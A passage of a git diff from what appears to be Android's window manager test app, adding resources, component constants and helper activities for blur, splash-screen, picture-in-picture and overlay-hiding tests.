+        android:layout_height="wrap_content"
+        android:text="Hello world!" />
+
+    <View
+        android:id="@+id/square_100dp"
+        android:layout_width="100dp"
+        android:layout_height="100dp"
+        android:layout_below="@+id/text"
+        android:layout_marginTop="8dp"
+        android:background="#ffc53929" />
+
+    <View
+        android:id="@+id/square_100px"
+        android:layout_width="100px"
+        android:layout_height="100px"
+        android:layout_alignTop="@+id/square_100dp"
+        android:layout_marginLeft="8dp"
+        android:layout_toRightOf="@+id/square_100dp"
+        android:background="#ff3367d6" />
+
+</RelativeLayout>
+
diff --git a/tests/framework/base/windowmanager/app/res/values/colors.xml b/tests/framework/base/windowmanager/app/res/values/colors.xml
index 2a51310..94962fc 100644
--- a/tests/framework/base/windowmanager/app/res/values/colors.xml
+++ b/tests/framework/base/windowmanager/app/res/values/colors.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <drawable name="red">#ff0000</drawable>
+    <drawable name="blue">#0000ff</drawable>
 </resources>
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/app/res/values/dimens.xml b/tests/framework/base/windowmanager/app/res/values/dimens.xml
new file mode 100644
index 0000000..1ab7c3b
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/values/dimens.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<resources>
+    <dimen name="test_background_blur_radius">50dp</dimen>
+    <dimen name="test_blur_behind_radius">25dp</dimen>
+</resources>
diff --git a/tests/framework/base/windowmanager/app/res/values/styles.xml b/tests/framework/base/windowmanager/app/res/values/styles.xml
index c6a36d1..974a736 100644
--- a/tests/framework/base/windowmanager/app/res/values/styles.xml
+++ b/tests/framework/base/windowmanager/app/res/values/styles.xml
@@ -47,4 +47,43 @@
     <style name="SplashscreenTheme" parent="@android:style/Theme.Material.NoActionBar">
         <item name="android:windowSplashscreenContent">@drawable/red</item>
     </style>
+
+    <style name="BackgroundImage" parent="@android:style/Theme.Translucent.NoTitleBar.Fullscreen">
+        <item name="android:windowNoTitle">true</item>
+        <item name="android:windowLayoutInDisplayCutoutMode">always</item>
+        <item name="android:windowSoftInputMode">stateHidden</item>
+    </style>
+
+    <style name="TranslucentDialog" parent="@android:style/Theme.Material.Dialog">
+        <item name="android:windowIsTranslucent">true</item>
+        <item name="android:windowBackground">@android:color/transparent</item>
+        <item name="android:windowNoTitle">true</item>
+        <item name="android:backgroundDimEnabled">false</item>
+        <item name="android:windowBlurBehindEnabled">true</item>
+        <item name="android:windowDisablePreview">true</item>
+        <item name="android:windowElevation">0dp</item>
+        <item name="android:windowLayoutInDisplayCutoutMode">always</item>
+        <item name="android:windowSoftInputMode">stateHidden</item>
+    </style>
+
+    <style name="BlurryDialog" parent="TranslucentDialog">
+        <item name="android:windowBackgroundBlurRadius">@dimen/test_background_blur_radius</item>
+        <item name="android:windowBlurBehindRadius">@dimen/test_blur_behind_radius</item>
+        <item name="android:windowBlurBehindEnabled">true</item>
+    </style>
+
+    <style name="BadBlurryDialog" parent="TranslucentDialog">
+        <item name="android:windowIsTranslucent">false</item>
+        <item name="android:windowBlurBehindEnabled">false</item>
+    </style>
+
+    <style name="ReplaceIconTheme" parent="@android:style/Theme.Material.NoActionBar">
+        <item name="android:windowSplashScreenBackground">@drawable/blue</item>
+        <item name="android:windowSplashScreenAnimatedIcon">@drawable/animationDrawable</item>
+        <item name="android:windowSplashScreenAnimationDuration">500</item>
+    </style>
+    <style name="ShowBrandingTheme" parent="@android:style/Theme.Material.NoActionBar">
+        <item name="android:windowSplashScreenBrandingImage">@drawable/branding</item>
+        <item name="android:windowSplashScreenIconBackgroundColor">@drawable/blue</item>
+    </style>
 </resources>
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java
index 959c922..3e98553 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java
@@ -26,7 +26,7 @@
 import android.content.Intent;
 import android.graphics.Rect;
 
-public class AlwaysFocusablePipActivity extends Activity {
+public class AlwaysFocusablePipActivity extends PipActivity {
 
     static void launchAlwaysFocusablePipActivity(Activity caller, boolean newTask) {
         launchAlwaysFocusablePipActivity(caller, newTask, false /* multiTask */);
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/BackgroundImageActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/BackgroundImageActivity.java
new file mode 100644
index 0000000..c101557
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/BackgroundImageActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+import static android.view.WindowInsets.Type.systemBars;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class BackgroundImageActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.background_image);
+        getWindow().setDecorFitsSystemWindows(false);
+        getWindow().getInsetsController().hide(systemBars());
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/BadBlurActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/BadBlurActivity.java
new file mode 100644
index 0000000..e885fec
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/BadBlurActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+/**
+ * This activity is used to test 2 things:
+ * 1. Blur behind does not work if WindowManager.LayoutParams.FLAG_BLUR_BEHIND is not set,
+ *    respectively if windowBlurBehindEnabled is not set.
+ * 2. Background blur does not work for opaque activities (where windowIsTranslucent is false)
+ *
+ * In the style of this activity windowBlurBehindEnabled is false and windowIsTranslucent is false.
+ * As a result, we expect that neither blur behind, nor background blur is rendered, even though
+ * they are requested with setBlurBehindRadius and setBackgroundBlurRadius.
+ */
+public class BadBlurActivity extends BlurActivity {
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/BlurActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/BlurActivity.java
new file mode 100644
index 0000000..5da590b
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/BlurActivity.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.BlurActivity.EXTRA_NO_BLUR_BACKGROUND_COLOR;
+import static android.server.wm.app.Components.BlurActivity.EXTRA_BACKGROUND_BLUR_RADIUS_PX;
+import static android.server.wm.app.Components.BlurActivity.EXTRA_BLUR_BEHIND_RADIUS_PX;
+import static android.view.WindowInsets.Type.systemBars;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.content.Intent;
+import android.graphics.Color;
+import android.graphics.drawable.ColorDrawable;
+import android.server.wm.app.BroadcastReceiverActivity;
+import android.view.WindowManager;
+import android.view.Window;
+
+import java.util.function.Consumer;
+
+public class BlurActivity extends BroadcastReceiverActivity {
+    private int mNoBlurBackgroundColor;
+    private int mBackgroundBlurRadius;
+    private int mBlurBehindRadius;
+
+    private Consumer<Boolean> mCrossWindowBlurEnabledListener = enabled -> {
+        final Window window = getWindow();
+        if (enabled) {
+            if (mBackgroundBlurRadius > 0) {
+                window.setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));
+                window.setBackgroundBlurRadius(mBackgroundBlurRadius);
+            } else {
+                window.setBackgroundDrawable(new ColorDrawable(mNoBlurBackgroundColor));
+            }
+            window.getAttributes().setBlurBehindRadius(mBlurBehindRadius);
+        } else {
+            window.setBackgroundDrawable(new ColorDrawable(mNoBlurBackgroundColor));
+            window.getAttributes().setBlurBehindRadius(0);
+        }
+        getWindowManager().updateViewLayout(window.getDecorView(), window.getAttributes());
+
+    };
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.blur_activity);
+        getWindow().setDecorFitsSystemWindows(false);
+        getWindow().getInsetsController().hide(systemBars());
+
+        mBlurBehindRadius = getIntent().getIntExtra(EXTRA_BLUR_BEHIND_RADIUS_PX, 0);
+        mBackgroundBlurRadius = getIntent().getIntExtra(EXTRA_BACKGROUND_BLUR_RADIUS_PX, 0);
+        mNoBlurBackgroundColor =
+                getIntent().getIntExtra(EXTRA_NO_BLUR_BACKGROUND_COLOR, Color.GREEN);
+    }
+
+    @Override
+    public void onAttachedToWindow() {
+        super.onAttachedToWindow();
+        getWindowManager().addCrossWindowBlurEnabledListener(mCrossWindowBlurEnabledListener);
+    }
+
+    @Override
+    public void onDetachedFromWindow() {
+        super.onDetachedFromWindow();
+        getWindowManager().removeCrossWindowBlurEnabledListener(mCrossWindowBlurEnabledListener);
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/BlurAttributesActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/BlurAttributesActivity.java
new file mode 100644
index 0000000..79712e0
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/BlurAttributesActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+import static android.view.WindowInsets.Type.systemBars;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.graphics.Color;
+import android.graphics.drawable.ColorDrawable;
+
+public class BlurAttributesActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.blur_activity);
+        getWindow().setDecorFitsSystemWindows(false);
+        getWindow().getInsetsController().hide(systemBars());
+        getWindow().setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));
+    }
+
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index 3feb5e9..09bb346 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -52,6 +52,8 @@
             component("FontScaleNoRelaunchActivity");
     public static final ComponentName FREEFORM_ACTIVITY = component("FreeformActivity");
     public static final ComponentName HOST_ACTIVITY = component("HostActivity");
+    public static final ComponentName HIDE_OVERLAY_WINDOWS_ACTIVITY =
+            component("HideOverlayWindowsActivity");
     public static final ComponentName KEYGUARD_LOCK_ACTIVITY = component("KeyguardLockActivity");
     public static final ComponentName LANDSCAPE_ORIENTATION_ACTIVITY =
             component("LandscapeOrientationActivity");
@@ -121,12 +123,26 @@
             component("SingleInstanceActivity");
     public static final ComponentName HOME_ACTIVITY = component("HomeActivity");
     public static final ComponentName SECONDARY_HOME_ACTIVITY = component("SecondaryHomeActivity");
+    public static final ComponentName UI_SCALING_TEST_ACTIVITY =
+            component("UiScalingTestActivity");
     public static final ComponentName SINGLE_HOME_ACTIVITY = component("SingleHomeActivity");
     public static final ComponentName SINGLE_SECONDARY_HOME_ACTIVITY =
             component("SingleSecondaryHomeActivity");
     public static final ComponentName SINGLE_TASK_ACTIVITY = component("SingleTaskActivity");
+    public static final ComponentName SINGLE_TOP_ACTIVITY = component("SingleTopActivity");
     public static final ComponentName SLOW_CREATE_ACTIVITY = component("SlowCreateActivity");
     public static final ComponentName SPLASHSCREEN_ACTIVITY = component("SplashscreenActivity");
+    public static final ComponentName DISABLE_PREVIEW_ACTIVITY =
+            component("DisablePreviewActivity");
+    public static final ComponentName SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY =
+            component("ShowWhenLockedNoPreviewActivity");
+    public static final ComponentName SHOW_WHEN_LOCKED_ATTR_NO_PREVIEW_ACTIVITY =
+            component("ShowWhenLockedAttrNoPreviewActivity");
+    public static final ComponentName SHOW_WHEN_LOCKED_ATTR_REMOVE_ATTR_NO_PREVIEW_ACTIVITY =
+            component("ShowWhenLockedAttrRemoveAttrNoPreviewActivity");
+    public static final ComponentName SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY =
+            component("ShowWhenLockedWithDialogNoPreviewActivity");
+
     public static final ComponentName TEST_ACTIVITY = component("TestActivity");
     public static final ComponentName TOAST_ACTIVITY = component("ToastActivity");
     public static final ComponentName TOP_ACTIVITY = component("TopActivity");
@@ -213,12 +229,35 @@
     public static final ComponentName POPUP_MPP_ACTIVITY =
             component("PopupMinimalPostProcessingActivity");
 
+    public static final ComponentName CRASHING_ACTIVITY =
+            component("CrashingActivity");
+
+    public static final ComponentName HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY =
+            component("HandleSplashScreenExitActivity");
+    public static final ComponentName SPLASH_SCREEN_REPLACE_ICON_ACTIVITY =
+            component("SplashScreenReplaceIconActivity");
+
     public static final ComponentName TEST_DREAM_SERVICE =
             component("TestDream");
 
     public static final ComponentName TEST_STUBBORN_DREAM_SERVICE =
             component("TestStubbornDream");
 
+    public static final ComponentName OVERLAY_TEST_SERVICE =
+            component("OverlayTestService");
+
+    public static final ComponentName BACKGROUND_IMAGE_ACTIVITY =
+            component("BackgroundImageActivity");
+
+    public static final ComponentName BLUR_ACTIVITY =
+            component("BlurActivity");
+
+    public static final ComponentName BLUR_ATTRIBUTES_ACTIVITY =
+            component("BlurAttributesActivity");
+
+    public static final ComponentName BAD_BLUR_ACTIVITY =
+            component("BadBlurActivity");
+
     /**
      * Action and extra key constants for {@link #INPUT_METHOD_TEST_ACTIVITY}.
      */
@@ -228,6 +267,28 @@
     }
 
     /**
+     * The keys are used for {@link TestJournalProvider} when testing starting window.
+     */
+    public static class TestStartingWindowKeys {
+        public static final String HANDLE_SPLASH_SCREEN_EXIT = "HandleSplashScreenExitActivity";
+        public static final String REPLACE_ICON_EXIT = "SplashScreenReplaceIconActivity";
+        public static final String RECEIVE_SPLASH_SCREEN_EXIT = "receive_splash_screen_exit";
+        public static final String CONTAINS_CENTER_VIEW = "contains_center_view";
+        public static final String CONTAINS_BRANDING_VIEW = "contains_branding_view";
+        public static final String ICON_BACKGROUND_COLOR = "icon_background_color";
+        public static final String ICON_ANIMATION_DURATION = "icon_animation_duration";
+        public static final String ICON_ANIMATION_START = "icon_animation_start";
+
+        public static final String REQUEST_HANDLE_EXIT_ON_CREATE = "handle_exit_onCreate";
+        public static final String REQUEST_HANDLE_EXIT_ON_RESUME = "handle_exit_onResume";
+        public static final String CANCEL_HANDLE_EXIT = "cancel_handle_exit";
+
+        public static final String REQUEST_SET_NIGHT_MODE_ON_CREATE = "night_mode_onCreate";
+        public static final String GET_NIGHT_MODE_ACTIVITY_CHANGED = "get_night_mode_activity";
+        public static final String DELAY_RESUME = "delay_resume";
+    }
+
+    /**
      * The keys are used for {@link TestJournalProvider} when testing wallpaper
      * component.
      */
@@ -317,10 +378,16 @@
         public static final String EXTRA_FONT_ACTIVITY_DPI = "fontActivityDpi";
     }
 
+    /** Extra key constants for {@link android.server.wm.app.NoHistoryActivity}. */
+    public static class NoHistoryActivity {
+        public static final String EXTRA_SHOW_WHEN_LOCKED = "showWhenLocked";
+    }
+
     /** Extra key constants for {@link android.server.wm.app.TurnScreenOnActivity}. */
     public static class TurnScreenOnActivity {
         // Turn on screen by window flags or APIs.
         public static final String EXTRA_USE_WINDOW_FLAGS = "useWindowFlags";
+        public static final String EXTRA_SHOW_WHEN_LOCKED = "useShowWhenLocked";
         public static final String EXTRA_SLEEP_MS_IN_ON_CREATE = "sleepMsInOnCreate";
     }
 
@@ -368,6 +435,15 @@
     }
 
     /**
+     * Extra constants for {@link android.server.wm.app.BlurActivity}.
+     */
+    public static class BlurActivity {
+        public static final String EXTRA_NO_BLUR_BACKGROUND_COLOR = "no_blur_background_color";
+        public static final String EXTRA_BACKGROUND_BLUR_RADIUS_PX = "background_blur_radius";
+        public static final String EXTRA_BLUR_BEHIND_RADIUS_PX = "blur_behind_radius";
+    }
+
+    /**
      * Action and extra key constants for {@link android.server.wm.app.PipActivity}.
      *
      * TODO(b/73346885): These constants should be in {@link android.server.wm.app.PipActivity}
@@ -413,6 +489,11 @@
         // Calls requestAutoEnterPictureInPicture() with the value provided
         public static final String EXTRA_ENTER_PIP_ON_PIP_REQUESTED =
                 "enter_pip_on_pip_requested";
+        // Sets auto PIP allowed on the activity picture-in-picture params.
+        public static final String EXTRA_ALLOW_AUTO_PIP = "enter_pip_auto_pip_allowed";
+        // Sets seamless resize enabled on the activity picture-in-picture params.
+        public static final String EXTRA_IS_SEAMLESS_RESIZE_ENABLED =
+                "enter_pip_is_seamless_resize_enabled";
         // Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
         public static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
         // Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
@@ -441,6 +522,8 @@
         public static final String EXTRA_TAP_TO_FINISH = "tap_to_finish";
         // Dismiss keyguard when activity show.
         public static final String EXTRA_DISMISS_KEYGUARD = "dismiss_keyguard";
+        // Number of custom actions should be set onto PictureInPictureParams
+        public static final String EXTRA_NUMBER_OF_CUSTOM_ACTIONS = "number_of_custom_actions";
     }
 
     /**
@@ -506,6 +589,21 @@
         public static final String KEY_FINISH_BEFORE_LAUNCH = "finish_before_launch";
     }
 
+    public static class OverlayTestService {
+        public static final String EXTRA_LAYOUT_PARAMS = "layout_params";
+    }
+
+    public static class Notifications {
+        public static final String CHANNEL_MAIN = "main";
+        public static final int ID_OVERLAY_TEST_SERVICE = 1;
+    }
+
+    public static class HideOverlayWindowsActivity {
+        public static final String ACTION = "hide_action";
+        public static final String PONG = "pong_action";
+        public static final String SHOULD_HIDE = "should_hide";
+    }
+
     private static ComponentName component(String className) {
         return component(Components.class, className);
     }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/CrashingActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/CrashingActivity.java
new file mode 100644
index 0000000..7ca8090
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/CrashingActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import androidx.annotation.Nullable;
+
+/** This activity will instantly crash with a RuntimeException upon receiving any intent. */
+public class CrashingActivity extends Activity {
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        throw new RuntimeException("Crashing for testing purposes!");
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/DisablePreviewActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/DisablePreviewActivity.java
new file mode 100644
index 0000000..f3c6de3
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/DisablePreviewActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+import android.app.Activity;
+
+public class DisablePreviewActivity extends Activity {
+
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/HandleSplashScreenExitActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HandleSplashScreenExitActivity.java
new file mode 100644
index 0000000..0812067
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HandleSplashScreenExitActivity.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import static android.app.UiModeManager.MODE_NIGHT_AUTO;
+import static android.server.wm.app.Components.TestStartingWindowKeys.CANCEL_HANDLE_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.CONTAINS_BRANDING_VIEW;
+import static android.server.wm.app.Components.TestStartingWindowKeys.CONTAINS_CENTER_VIEW;
+import static android.server.wm.app.Components.TestStartingWindowKeys.GET_NIGHT_MODE_ACTIVITY_CHANGED;
+import static android.server.wm.app.Components.TestStartingWindowKeys.HANDLE_SPLASH_SCREEN_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.ICON_BACKGROUND_COLOR;
+import static android.server.wm.app.Components.TestStartingWindowKeys.RECEIVE_SPLASH_SCREEN_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_HANDLE_EXIT_ON_CREATE;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_HANDLE_EXIT_ON_RESUME;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_SET_NIGHT_MODE_ON_CREATE;
+
+import android.app.Activity;
+import android.app.UiModeManager;
+import android.content.Context;
+import android.content.res.Configuration;
+import android.os.Bundle;
+import android.server.wm.TestJournalProvider;
+import android.window.SplashScreen;
+
+public class HandleSplashScreenExitActivity extends Activity {
+    private SplashScreen mSSM;
+    private UiModeManager mUiModeManager;
+    private boolean mReportSplashScreenNightMode;
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mSSM = getSplashScreen();
+        if (getIntent().getBooleanExtra(REQUEST_HANDLE_EXIT_ON_CREATE, false)) {
+            mSSM.setOnExitAnimationListener(mSplashScreenExitHandler);
+        }
+        final String nightMode = getIntent().getStringExtra(REQUEST_SET_NIGHT_MODE_ON_CREATE);
+        if (nightMode != null) {
+            mUiModeManager = getSystemService(UiModeManager.class);
+            final int setNightMode = Integer.parseInt(nightMode);
+            mUiModeManager.setApplicationNightMode(setNightMode);
+            mReportSplashScreenNightMode = true;
+        }
+    }
+
+    private final SplashScreen.OnExitAnimationListener mSplashScreenExitHandler =
+            view -> {
+                final Context baseContext = getBaseContext();
+                final boolean containsCenter = view.getIconView() != null;
+                final boolean containsBranding = view.getBrandingView() != null
+                        && view.getBrandingView().getBackground() != null;
+                final int iconBackground = view.getIconBackgroundColor();
+                TestJournalProvider.putExtras(baseContext, HANDLE_SPLASH_SCREEN_EXIT, bundle -> {
+                    bundle.putBoolean(RECEIVE_SPLASH_SCREEN_EXIT, true);
+                    bundle.putBoolean(CONTAINS_CENTER_VIEW, containsCenter);
+                    bundle.putBoolean(CONTAINS_BRANDING_VIEW, containsBranding);
+                    bundle.putInt(ICON_BACKGROUND_COLOR, iconBackground);
+                });
+                view.postDelayed(view::remove, 500);
+            };
+
+    @Override
+    public void onResume() {
+        super.onResume();
+        if (getIntent().getBooleanExtra(REQUEST_HANDLE_EXIT_ON_RESUME, false)) {
+            mSSM.setOnExitAnimationListener(mSplashScreenExitHandler);
+        }
+        if (getIntent().getBooleanExtra(CANCEL_HANDLE_EXIT, false)) {
+            mSSM.clearOnExitAnimationListener();
+        }
+    }
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        if (mReportSplashScreenNightMode) {
+            final int configNightMode = newConfig.uiMode & Configuration.UI_MODE_NIGHT_MASK;
+            final Context baseContext = getBaseContext();
+            TestJournalProvider.putExtras(baseContext, HANDLE_SPLASH_SCREEN_EXIT, bundle -> {
+                bundle.putInt(GET_NIGHT_MODE_ACTIVITY_CHANGED, configNightMode);
+            });
+            // reset after test done
+            mReportSplashScreenNightMode = false;
+            mUiModeManager.setApplicationNightMode(MODE_NIGHT_AUTO);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/HideOverlayWindowsActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HideOverlayWindowsActivity.java
new file mode 100644
index 0000000..4014999
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HideOverlayWindowsActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.ACTION;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.PONG;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.SHOULD_HIDE;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+
+/**
+ * Helper activity for HideApplicationOverlaysTest. Communication is handled through a pair of
+ * broadcast receivers, this activity is receiving commands from the tests and emits a pong
+ * message when the commands have been executed.
+ */
+public class HideOverlayWindowsActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        registerReceiver(mBroadcastReceiver, new IntentFilter(ACTION));
+    }
+
+    BroadcastReceiver mBroadcastReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (ACTION.equals(intent.getAction())) {
+                boolean booleanExtra = intent.getBooleanExtra(SHOULD_HIDE, false);
+                getWindow().setHideOverlayWindows(booleanExtra);
+                sendBroadcast(new Intent(PONG));
+            }
+        }
+    };
+
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java
index f2721bb..8c1c0fa 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java
@@ -16,9 +16,7 @@
 
 package android.server.wm.app;
 
-import android.app.Activity;
-
-public class LaunchIntoPinnedStackPipActivity extends Activity {
